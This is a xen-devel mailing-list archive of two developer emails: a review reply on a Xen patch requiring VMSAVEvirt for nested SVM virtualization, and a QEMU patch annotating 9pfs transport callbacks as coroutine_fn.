List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=IY9Bg61VgQf5vyPeQAbWndTeziubbXY2OlS0b+laghg=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=OZ3bcJNKFNU8I2ff5/JyApX2qWPePLzq+Mrd+brUs65+NP4sbQ1QMItnz6Sc4dZd1oZvN+BfM
 eqwVTnY0v7jAC8KScnnyfgrsE28ecvse95kmAPgIOelK0SrdwQobPYII4mAkyRuFJwsWeataC7w
 krcsPf9/R+3hp0ioHSrFeks7AoOgEb6zpkX414VaJHwzv5algmkSoIVcdoyjw8baXdGOA6ts3xT
 ORqzrmyxatjK2n7dturkJKxS/mmaRh2NdBGW4lVo1JYOZCfCblkSYVXEeQAbqXriPvLVMZvPF4E
 Ic3xhng6pkAvMXfFsuu9U3DPA/UMTsai3kENrrddWAAQ==
X-Zone-Loop: c566117b47466f8989ccb4cfb693a610f2d429b90c93
x-campaign-type: default
x-transaction-id: 5d0b9851-7df6-4ed2-8de0-f7c73a6d725c
x-swg-uid: 01-fc1a42b0-3d00-4710-8724-24286bc5400f
X-Mailer: Sweego
Message-ID:
 <1785152912.8631fc262581453bbf619ec5b2062170.19fa367bc22000e099@vates.tech>
x-swg-bid: 1785152912.8631fc262581453bbf619ec5b2062170.19fa367bc22000e099
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Mon, 27 Jul 2026 13:48:30 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] x86/svm: require VMSAVEvirt for nested virt
To: Stephen Cheng <stephen.cheng@citrix.com>, xen-devel@lists.xenproject.org
Cc: Ross Lagerwall <ross.lagerwall@citrix.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Jan Beulich <jbeulich@suse.com>,
 Julien Grall <julien@xen.org>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger@xenproject.org>, Stefano Stabellini <sstabellini@kernel.org>,
 Jason Andryuk <jason.andryuk@amd.com>
References: <20260727071709.196088-1-stephen.cheng@citrix.com>
Content-Language: en-US
From: Teddy Astie <teddy.astie@vates.tech>
Autocrypt: addr=teddy.astie@vates.tech;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0RXBPQjnGmLKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/Off
 O485NOTKwGOxyWb006cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR
 8ULR9nX0LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
 x9fhaZEsniw8/bYgC3igkk5YJiOa
In-Reply-To: <20260727071709.196088-1-stephen.cheng@citrix.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------01IDXJTFZiIPmT5HoVJ0a0VB"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1785152911848
X-purgate-ID: tlsNG-720697/1785152916-30DC12AC-047FEE60/0/0
X-purgate-type: clean
X-purgate-size: 9001

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------01IDXJTFZiIPmT5HoVJ0a0VB
Content-Type: multipart/mixed; boundary="------------O0I4KPDkcgwLFnLV6VC5K873";
 protected-headers="v1"
From: Teddy Astie <teddy.astie@vates.tech>
To: Stephen Cheng <stephen.cheng@citrix.com>, xen-devel@lists.xenproject.org
Cc: Ross Lagerwall <ross.lagerwall@citrix.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Jan Beulich <jbeulich@suse.com>,
 Julien Grall <julien@xen.org>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger@xenproject.org>, Stefano Stabellini <sstabellini@kernel.org>,
 Jason Andryuk <jason.andryuk@amd.com>
Message-ID: <66264f5c-415a-44fa-b9ac-46ea74f69193@vates.tech>
Subject: Re: [PATCH] x86/svm: require VMSAVEvirt for nested virt
References: <20260727071709.196088-1-stephen.cheng@citrix.com>
In-Reply-To: <20260727071709.196088-1-stephen.cheng@citrix.com>

--------------O0I4KPDkcgwLFnLV6VC5K873
Content-Type: multipart/mixed; boundary="------------M6gVVtXI7zXs23Ks5gWUABGV"

--------------M6gVVtXI7zXs23Ks5gWUABGV
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

TGUgMjcvMDcvMjAyNiDDoCAwOToyMCwgU3RlcGhlbiBDaGVuZyBhIMOpY3JpdMKgOg0KPiBW
aXJ0dWFsIFZNTE9BRC9WTVNBVkUgbGV0cyBhbiBMMSBndWVzdCBleGVjdXRlIFZNTE9BRCBh
bmQgVk1TQVZFDQo+IHdpdGhvdXQgaW50ZXJjZXB0cy4gIFdpdGhvdXQgaXQsIFhlbiBoYXMg
dG8gbWFwIHRoZSBMMS1wcm92aWRlZCBWTUNCDQo+IGFuZCByZS1leGVjdXRlIGVhY2ggaW5z
dHJ1Y3Rpb24gaW4gTDAsIGNvbXBsaWNhdGluZyBzZWN1cml0eS1zZW5zaXRpdmUNCj4gc3Rh
dGUgaGFuZGxpbmcuDQo+IA0KPiBNYWtlIFZNU0FWRXZpcnQgYSBoYXJkIHJlcXVpcmVtZW50
IGZvciBuZXN0ZWQgU1ZNLiAgQWR2ZXJ0aXNlIGl0IHRvDQo+IEwxLCBlbmFibGUgaXQgd2hl
biBMMSBlbmFibGVzIFNWTSwgYW5kIHJlbW92ZSB0aGUgbmVzdGVkIFZNTE9BRC9WTVNBVkUN
Cj4gZW11bGF0aW9uIHBhdGguICBBbnkgcmVtYWluaW5nIGludGVyY2VwdCB0aGVyZWZvcmUg
Y29tZXMgZnJvbSBhIGd1ZXN0DQo+IHdoaWNoIGhhcyBub3QgZW5hYmxlZCBTVk0gYW5kIHJl
Y2VpdmVzICNVRC4NCj4gDQo+IEFzc2lzdGVkLWJ5OiBDbGF1ZGU6Y2xhdWRlLW9wdXMtNC04
DQo+IFNpZ25lZC1vZmYtYnk6IFN0ZXBoZW4gQ2hlbmcgPHN0ZXBoZW4uY2hlbmdAY2l0cml4
LmNvbT4NCj4gLS0t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cnJhdGEgKDE0NTQgLSBQcm9jZXNzb3IgTWF5IExvZyBVbmV4cGVjdGVkIExT
IA0KTUNFIEVycm9yIFdoZW4gRXhlY3V0aW5nIFZpcnR1YWxpemVkIFZNTE9BRCBvciBWaXJ0
dWFsaXplZCBWTVNBVkUpIG9uIA0KRmFtaWx5IDE5aCByZWdhcmRpbmcgdGhpcyBmZWF0dXJl
Lg0KDQpIYWQgeW91IGNvbnNpZGVyZWQgaW1wcm92aW5nIHRoZSBjdXJyZW50IGltcGxlbWVu
dGF0aW9uIG9mIHZpcnR1YWxpemVkIA0KVk1MT0FEL1ZNU0FWRSA/IEFJVUksIHRoZSB3YXkg
WGVuIGN1cnJlbnRseSBpbXBsZW1lbnRzIHRoaXMgaW5zdHJ1Y3Rpb24gDQooYnkgbWFwcGlu
ZyB0aGUgTDEgVk1DQiB0aGVuIGNhbGxpbmcgdm1sb2FkL3Ztc2F2ZSBvbiBpdCkgaXMgbW9y
ZSBvZiBhIA0KaW1wbGVtZW50YXRpb24gY2hvaWNlIHRoYW4gYSByZXF1aXJlbWVudC4NCg0K
QSBiZXR0ZXIgKGF0IGxlYXN0LCBsaWtlbHkgc2FmZXIpIHdheSB0byBlbXVsYXRlIHN1Y2gg
aW5zdHJ1Y3Rpb25zIChhbmQgDQpub3QgcmVseWluZyBvbiBWTVNBVkV2aXJ0KSB3b3VsZCBi
ZSB0byBjb3B5IHBhcnRzIG9mIEwxIFZNQ0IgZnJvbS90byBMMCANClZNQ0IgYW5kIGxldCBY
ZW4gcGVyZm9ybSB0aGUgYXBwcm9wcmlhdGUgdm1sb2FkL3Ztc2F2ZSBvbiBpdHMgb3duIFZN
Q0JzIA0KYXMgdXN1YWwuDQoNClRlZGR5DQo=
--------------M6gVVtXI7zXs23Ks5gWUABGV
Content-Type: application/pgp-keys; name="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Disposition: attachment; filename="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Description: OpenPGP public key
Content-Transfer-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oEkWR0RXBPQjnGm
LKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/OffO485NOTKwGOxyWb0
06cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR8ULR9nX0
LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
x9fhaZEsniw8/bYgC3igkk5YJiOa
=3DlUIA
-----END PGP PUBLIC KEY BLOCK-----

--------------M6gVVtXI7zXs23Ks5gWUABGV--

--------------O0I4KPDkcgwLFnLV6VC5K873--

--------------01IDXJTFZiIPmT5HoVJ0a0VB
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsD5BAABCAAjFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmpnRY8FAwAAAAAACgkQZg+p0QLLz9AJ
aAv8CmVWiwhtIJJuzp9q+locFhcVOSN8AhhLVehKZ80Q1agzMIAvB1JIucVLG+fS+LalErEggfM4
8TU28zsEicWMt5s4fgnFZsNMQkeiubGotro4SAMzYuyjyxJz8Ofh/THfy3xoLBqsS/OrT81GM4YG
SpVeo/UyOFVdFlbA0azkryCsxpIG1rFr0uRuYFwHCN3+AVhDWke6i06Do99v8sMGlmGvSDxmfIjL
ckJq5zKd+3WA6T9taxhfsFWec+aZeXaCef7f29ClkNb/ihe7jQwHeQ7U7ybf5d+0IKzJXovZtnOA
0x3D9s4N1E7EVkCapxeR6SIIAvQf+58/Nc1DkWhLfXkl664yCeD+fU06UGBtScLOn2UiO5qV8ZM8
EJPS0sIFYwZ60mEC9UHSjC3urQi9Pi4hsTC3Xi3vh3iN864V/KBVD25bKx+i2DjPkdFA6TQYzLbu
wZyle2sZJLW4vMGGkH5rzhKZrPpkubDVsv+UYSaYW7x5V4JwWhYh4KIMc3yL
=8kGS
-----END PGP SIGNATURE-----

--------------01IDXJTFZiIPmT5HoVJ0a0VB--


From xen-devel-bounces@lists.xenproject.org Mon Jul 27 11:53:46 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 11:53:46 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371626.1619108 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woJtw-0008He-CU; Mon, 27 Jul 2026 11:53:44 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371626.1619108; Mon, 27 Jul 2026 11:53:44 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woJtw-0008HX-9t; Mon, 27 Jul 2026 11:53:44 +0000
Received: by outflank-mailman (input) for mailman id 1371626;
 Mon, 27 Jul 2026 11:53:43 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marcandre.lureau@redhat.com>) id 1woJtv-0008HR-7L
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 11:53:43 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woJtt-007uEr-W8
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 13:53:42 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marcandre.lureau@redhat.com>)
 id 6a6746c4-2eae-0a2a0a5409dd-0a2a4505df56-4
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 13:53:41 +0200
Received: from [170.10.133.124] (helo=us-smtp-delivery-124.mimecast.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marcandre.lureau@redhat.com>)
 id 6a6746c4-4cb1-0a2a45050019-aa0a857c7d71-3
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 13:53:41 +0200
Received: from mx-prod-mc-01.mail-002.prod.us-west-2.aws.redhat.com
 (ec2-54-186-198-63.us-west-2.compute.amazonaws.com [54.186.198.63]) by
 relay.mimecast.com with ESMTP with STARTTLS (version=TLSv1.3,
 cipher=TLS_AES_256_GCM_SHA384) id us-mta-308-7mzw_8iXNTqT0Td6tTII9Q-1; Mon,
 27 Jul 2026 07:53:38 -0400
Received: from mx-prod-int-08.mail-002.prod.us-west-2.aws.redhat.com
 (mx-prod-int-08.mail-002.prod.us-west-2.aws.redhat.com [10.30.177.111])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256)
 (No client certificate requested)
 by mx-prod-mc-01.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTPS
 id 097571955F3D; Mon, 27 Jul 2026 11:53:37 +0000 (UTC)
Received: from localhost (unknown [10.44.24.5])
 by mx-prod-int-08.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTP
 id 6C8E5180025A; Mon, 27 Jul 2026 11:53:34 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mimecast20190719 header.d=redhat.com header.i="@redhat.com" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat.com;
	s=mimecast20190719; t=1785153220;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=9oYIu6ucbeyhcRhj8yqHtduIC8JKpxj/ZV2BhttSk7M=;
	b=BHhQ7g8E+XZO0aFKdIOFy5METvwLgb4eSgRVyjrG6wBCmIiB2XdPZbu+8PuH+/hb0qv42G
	jufszB3FYgEOWSaoe4BLBTePRojKbREatPzwJWJuEdpZPyWmxH2X+FOGkfhHJ4Xh6TUS4M
	YM224PnfyENDXYOAGyKXkWT6F5RkoLo=
X-MC-Unique: 7mzw_8iXNTqT0Td6tTII9Q-1
X-Mimecast-MFC-AGG-ID: 7mzw_8iXNTqT0Td6tTII9Q_1785153217
From: =?utf-8?q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>
Date: Mon, 27 Jul 2026 15:51:31 +0400
Subject: [GIT PULL 22/23] hw/9pfs: annotate V9fsTransport callbacks as
 coroutine_fn
MIME-Version: 1.0
Message-Id: <20260727-fix-v1-22-ca3fa3851347@redhat.com>
References: <20260727-fix-v1-0-ca3fa3851347@redhat.com>
In-Reply-To: <20260727-fix-v1-0-ca3fa3851347@redhat.com>
To: qemu-devel@nongnu.org
Cc: Stefan Hajnoczi <stefanha@redhat.com>, 
 Christian Schoenebeck <qemu_oss@crudebyte.com>, Greg Kurz <groug@kaod.org>, 
 "Michael S. Tsirkin" <mst@redhat.com>, 
 Stefano Stabellini <sstabellini@kernel.org>, 
 Anthony PERARD <anthony@xenproject.org>, 
 "Edgar E. Iglesias" <edgar.iglesias@gmail.com>, 
 xen-devel@lists.xenproject.org
X-Developer-Signature: v=1; a=openpgp-sha256; l=12210;
 i=marcandre.lureau@redhat.com; h=from:subject:message-id;
 bh=kIVXvSiYvzjRZ5/GpYFflICxn39LG3s3JicrtUIOOKw=;
 b=owEBbQKS/ZANAwAKAdro4Ql1lpzlAcsmYgBqZ0Y/InBqkiqgdux+2VziZo11jHAPJh08la6E6
 AaTlKt6htqJAjMEAAEKAB0WIQSHqb2TP4fGBtJ29i3a6OEJdZac5QUCamdGPwAKCRDa6OEJdZac
 5cQ0EACCWlZ8GGsTXxQvK81AsXtdlhpWUKq7GI/rQlpxXM+XuTBJKER+BlIWnLNaPdhWA2he5Db
 SJPMVkVXaTDunQv3RGE0K+PByfftg0GI3T1QgpxfUz9sBe2R7oDBX7wLWnkafpgHDaJOCJbcr1M
 SGn8iH2iiBEqyB8XhtHVvK6OiNtrIjtW152yRdvYK1cFoCUUPHNcnWNyyk9kRW71KyP1t876Zu4
 Iv+rBW/nHlfva796PBdFwqkCuRtX5YlM/v1zH5SHHQ3+z9pyolNnHz8meigEIC1L+N1hm7Cuu5c
 ke4YbEwLgB1wj/71vug9qOt9MGYnPxekE6osZxMjGMStxxpd/AvK1sWlg4xZFTv0C3cpPUpXbz3
 kjrILkbAdDsj9gOpiwVzD73/3O+PBIvXKT4Ua6ht0uQSVIPCuqVbOuKIDw0ZUXkVj8ocsA/5NRq
 DbclLmil8vvfU6VXfPjAvZksKQuyJTJ6tSPYd9Wyv6g05g3zRfuu0nbvGRnA5BTXZrhbDmZ3VFW
 qjQDj9wuInuNtdPDBWHlAeDiQzWklxLgbePNxypQDefIV+h/7NfMPxIM58mPD3E7pD5kiXVdA48
 1/4plEo+L6eqUmR32H15UrgymlrklgclH2ym4VVDkYX6/uR6PqejQAPka7Ld0+CNejMAlVA/9W9
 TiypcFk/ky/YTbQ==
X-Developer-Key: i=marcandre.lureau@redhat.com; a=openpgp;
 fpr=87A9BD933F87C606D276F62DDAE8E10975969CE5
X-Scanned-By: MIMEDefang 3.4.1 on 10.30.177.111
X-Mimecast-MFC-PROC-ID: MSn5grMGLaPVzUZ_2N9qC6llwOiza6v_PowqN69UJpc_1785153217
X-Mimecast-Originator: redhat.com
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c201ff/1785153221-F4EA12A1-F25F1B9D/0/0
X-purgate-type: clean
X-purgate-size: 12212

All V9fsTransport callbacks are invoked exclusively from coroutine
context (the v9fs_* PDU handlers). Annotate the function pointer
types in V9fsTransport and all implementations (virtio and xen
backends), as well as intermediate callers in 9p.c (pdu_marshal,
pdu_unmarshal, v9fs_init_qiov_from_pdu, etc.).

Acked-by: Christian Schoenebeck <qemu_oss@crudebyte.com>
Signed-off-by: Marc-AndrÃ© Lureau <marcandre.lureau@redhat.com>
---
 hw/9pfs/9p.h               | 26 +++++++++++++++-----------
 hw/9pfs/9p.c               | 31 +++++++++++++++++++------------
 hw/9pfs/virtio-9p-device.c | 24 +++++++++++++-----------
 hw/9pfs/xen-9p-backend.c   | 34 +++++++++++++++++-----------------
 4 files changed, 64 insertions(+), 51 deletions(-)

diff --git a/hw/9pfs/9p.h b/hw/9pfs/9p.h
index 1a309664f6e3..0e52ffbdf38b 100644
--- a/hw/9pfs/9p.h
+++ b/hw/9pfs/9p.h
@@ -472,17 +472,21 @@ void pdu_submit(V9fsPDU *pdu, P9MsgHeader *hdr);
 void v9fs_reset(V9fsState *s);
 
 struct V9fsTransport {
-    ssize_t     (*pdu_vmarshal)(V9fsPDU *pdu, size_t offset, const char *fmt,
-                                va_list ap);
-    ssize_t     (*pdu_vunmarshal)(V9fsPDU *pdu, size_t offset, const char *fmt,
-                                  va_list ap);
-    void        (*init_in_iov_from_pdu)(V9fsPDU *pdu, struct iovec **piov,
-                                        unsigned int *pniov, size_t size);
-    void        (*init_out_iov_from_pdu)(V9fsPDU *pdu, struct iovec **piov,
-                                         unsigned int *pniov, size_t size);
-    void        (*push_and_notify)(V9fsPDU *pdu);
-    size_t      (*msize_limit)(V9fsState *s);
-    size_t      (*response_buffer_size)(V9fsPDU *pdu);
+    ssize_t     coroutine_fn (*pdu_vmarshal)(V9fsPDU *pdu, size_t offset,
+                                             const char *fmt, va_list ap);
+    ssize_t     coroutine_fn (*pdu_vunmarshal)(V9fsPDU *pdu, size_t offset,
+                                               const char *fmt, va_list ap);
+    void        coroutine_fn (*init_in_iov_from_pdu)(V9fsPDU *pdu,
+                                                     struct iovec **piov,
+                                                     unsigned int *pniov,
+                                                     size_t size);
+    void        coroutine_fn (*init_out_iov_from_pdu)(V9fsPDU *pdu,
+                                                      struct iovec **piov,
+                                                      unsigned int *pniov,
+                                                      size_t size);
+    void        coroutine_fn (*push_and_notify)(V9fsPDU *pdu);
+    size_t      coroutine_fn (*msize_limit)(V9fsState *s);
+    size_t      coroutine_fn (*response_buffer_size)(V9fsPDU *pdu);
 };
 
 #endif
diff --git a/hw/9pfs/9p.c b/hw/9pfs/9p.c
index 1c61e6b3e773..4764d9db13b1 100644
--- a/hw/9pfs/9p.c
+++ b/hw/9pfs/9p.c
@@ -55,7 +55,8 @@ enum {
 
 P9ARRAY_DEFINE_TYPE(V9fsPath, v9fs_path_free);
 
-static ssize_t pdu_marshal(V9fsPDU *pdu, size_t offset, const char *fmt, ...)
+static ssize_t coroutine_fn
+pdu_marshal(V9fsPDU *pdu, size_t offset, const char *fmt, ...)
 {
     ssize_t ret;
     va_list ap;
@@ -67,7 +68,8 @@ static ssize_t pdu_marshal(V9fsPDU *pdu, size_t offset, const char *fmt, ...)
     return ret;
 }
 
-static ssize_t pdu_unmarshal(V9fsPDU *pdu, size_t offset, const char *fmt, ...)
+static ssize_t coroutine_fn
+pdu_unmarshal(V9fsPDU *pdu, size_t offset, const char *fmt, ...)
 {
     ssize_t ret;
     va_list ap;
@@ -1841,7 +1843,8 @@ out_nofid:
     pdu_complete(pdu, err);
 }
 
-static int v9fs_walk_marshal(V9fsPDU *pdu, uint16_t nwnames, V9fsQID *qids)
+static int coroutine_fn
+v9fs_walk_marshal(V9fsPDU *pdu, uint16_t nwnames, V9fsQID *qids)
 {
     int i;
     ssize_t err;
@@ -2363,9 +2366,10 @@ out_nofid:
  * The resulting QEMUIOVector has heap-allocated iovecs and must be cleaned up
  * with qemu_iovec_destroy().
  */
-static void v9fs_init_qiov_from_pdu(QEMUIOVector *qiov, V9fsPDU *pdu,
-                                    size_t skip, size_t size,
-                                    bool is_write)
+static void coroutine_fn
+v9fs_init_qiov_from_pdu(QEMUIOVector *qiov, V9fsPDU *pdu,
+                        size_t skip, size_t size,
+                        bool is_write)
 {
     QEMUIOVector elem;
     struct iovec *iov;
@@ -2382,8 +2386,9 @@ static void v9fs_init_qiov_from_pdu(QEMUIOVector *qiov, V9fsPDU *pdu,
     qemu_iovec_concat(qiov, &elem, skip, size);
 }
 
-static int v9fs_xattr_read(V9fsState *s, V9fsPDU *pdu, V9fsFidState *fidp,
-                           uint64_t off, uint32_t max_count)
+static int coroutine_fn
+v9fs_xattr_read(V9fsState *s, V9fsPDU *pdu, V9fsFidState *fidp,
+                uint64_t off, uint32_t max_count)
 {
     ssize_t err;
     size_t offset = 7;
@@ -2793,9 +2798,10 @@ out_nofid:
     pdu_complete(pdu, retval);
 }
 
-static int v9fs_xattr_write(V9fsState *s, V9fsPDU *pdu, V9fsFidState *fidp,
-                            uint64_t off, uint32_t count,
-                            struct iovec *sg, int cnt)
+static int coroutine_fn
+v9fs_xattr_write(V9fsState *s, V9fsPDU *pdu, V9fsFidState *fidp,
+                 uint64_t off, uint32_t count,
+                 struct iovec *sg, int cnt)
 {
     int i, to_copy;
     ssize_t err = 0;
@@ -3729,7 +3735,8 @@ out_nofid:
     pdu_complete(pdu, err);
 }
 
-static int v9fs_fill_statfs(V9fsState *s, V9fsPDU *pdu, struct statfs *stbuf)
+static int coroutine_fn
+v9fs_fill_statfs(V9fsState *s, V9fsPDU *pdu, struct statfs *stbuf)
 {
     uint32_t f_type;
     uint32_t f_bsize;
diff --git a/hw/9pfs/virtio-9p-device.c b/hw/9pfs/virtio-9p-device.c
index 576a794ea434..2774fc2290a8 100644
--- a/hw/9pfs/virtio-9p-device.c
+++ b/hw/9pfs/virtio-9p-device.c
@@ -28,7 +28,7 @@
 #include "qemu/module.h"
 #include "system/qtest.h"
 
-static void virtio_9p_push_and_notify(V9fsPDU *pdu)
+static void coroutine_fn virtio_9p_push_and_notify(V9fsPDU *pdu)
 {
     V9fsState *s = pdu->s;
     V9fsVirtioState *v = container_of(s, V9fsVirtioState, state);
@@ -117,8 +117,8 @@ static void virtio_9p_reset(VirtIODevice *vdev)
     v9fs_reset(&v->state);
 }
 
-static ssize_t virtio_pdu_vmarshal(V9fsPDU *pdu, size_t offset,
-                                   const char *fmt, va_list ap)
+static ssize_t coroutine_fn
+virtio_pdu_vmarshal(V9fsPDU *pdu, size_t offset, const char *fmt, va_list ap)
 {
     V9fsState *s = pdu->s;
     V9fsVirtioState *v = container_of(s, V9fsVirtioState, state);
@@ -135,8 +135,8 @@ static ssize_t virtio_pdu_vmarshal(V9fsPDU *pdu, size_t offset,
     return ret;
 }
 
-static ssize_t virtio_pdu_vunmarshal(V9fsPDU *pdu, size_t offset,
-                                     const char *fmt, va_list ap)
+static ssize_t coroutine_fn
+virtio_pdu_vunmarshal(V9fsPDU *pdu, size_t offset, const char *fmt, va_list ap)
 {
     V9fsState *s = pdu->s;
     V9fsVirtioState *v = container_of(s, V9fsVirtioState, state);
@@ -152,8 +152,9 @@ static ssize_t virtio_pdu_vunmarshal(V9fsPDU *pdu, size_t offset,
     return ret;
 }
 
-static void virtio_init_in_iov_from_pdu(V9fsPDU *pdu, struct iovec **piov,
-                                        unsigned int *pniov, size_t size)
+static void coroutine_fn
+virtio_init_in_iov_from_pdu(V9fsPDU *pdu, struct iovec **piov,
+                            unsigned int *pniov, size_t size)
 {
     V9fsState *s = pdu->s;
     V9fsVirtioState *v = container_of(s, V9fsVirtioState, state);
@@ -172,8 +173,9 @@ static void virtio_init_in_iov_from_pdu(V9fsPDU *pdu, struct iovec **piov,
     *pniov = elem->in_num;
 }
 
-static void virtio_init_out_iov_from_pdu(V9fsPDU *pdu, struct iovec **piov,
-                                         unsigned int *pniov, size_t size)
+static void coroutine_fn
+virtio_init_out_iov_from_pdu(V9fsPDU *pdu, struct iovec **piov,
+                             unsigned int *pniov, size_t size)
 {
     V9fsState *s = pdu->s;
     V9fsVirtioState *v = container_of(s, V9fsVirtioState, state);
@@ -192,13 +194,13 @@ static void virtio_init_out_iov_from_pdu(V9fsPDU *pdu, struct iovec **piov,
     *pniov = elem->out_num;
 }
 
-static size_t virtio_9p_msize_limit(V9fsState *s)
+static size_t coroutine_fn virtio_9p_msize_limit(V9fsState *s)
 {
     const size_t guestPageSize = 4096;
     return (VIRTQUEUE_MAX_SIZE - 2) * guestPageSize;
 }
 
-static size_t virtio_9p_response_buffer_size(V9fsPDU *pdu)
+static size_t coroutine_fn virtio_9p_response_buffer_size(V9fsPDU *pdu)
 {
     V9fsState *s = pdu->s;
     V9fsVirtioState *v = container_of(s, V9fsVirtioState, state);
diff --git a/hw/9pfs/xen-9p-backend.c b/hw/9pfs/xen-9p-backend.c
index d44fa8d61e2e..06709d54084b 100644
--- a/hw/9pfs/xen-9p-backend.c
+++ b/hw/9pfs/xen-9p-backend.c
@@ -136,10 +136,10 @@ static void xen_9pfs_out_sg(Xen9pfsRing *ring,
     }
 }
 
-static ssize_t xen_9pfs_pdu_vmarshal(V9fsPDU *pdu,
-                                     size_t offset,
-                                     const char *fmt,
-                                     va_list ap)
+static ssize_t coroutine_fn xen_9pfs_pdu_vmarshal(V9fsPDU *pdu,
+                                                  size_t offset,
+                                                  const char *fmt,
+                                                  va_list ap)
 {
     Xen9pfsDev *xen_9pfs = container_of(pdu->s, Xen9pfsDev, state);
     struct iovec in_sg[2];
@@ -161,10 +161,10 @@ static ssize_t xen_9pfs_pdu_vmarshal(V9fsPDU *pdu,
     return ret;
 }
 
-static ssize_t xen_9pfs_pdu_vunmarshal(V9fsPDU *pdu,
-                                       size_t offset,
-                                       const char *fmt,
-                                       va_list ap)
+static ssize_t coroutine_fn xen_9pfs_pdu_vunmarshal(V9fsPDU *pdu,
+                                                    size_t offset,
+                                                    const char *fmt,
+                                                    va_list ap)
 {
     Xen9pfsDev *xen_9pfs = container_of(pdu->s, Xen9pfsDev, state);
     struct iovec out_sg[2];
@@ -185,10 +185,10 @@ static ssize_t xen_9pfs_pdu_vunmarshal(V9fsPDU *pdu,
     return ret;
 }
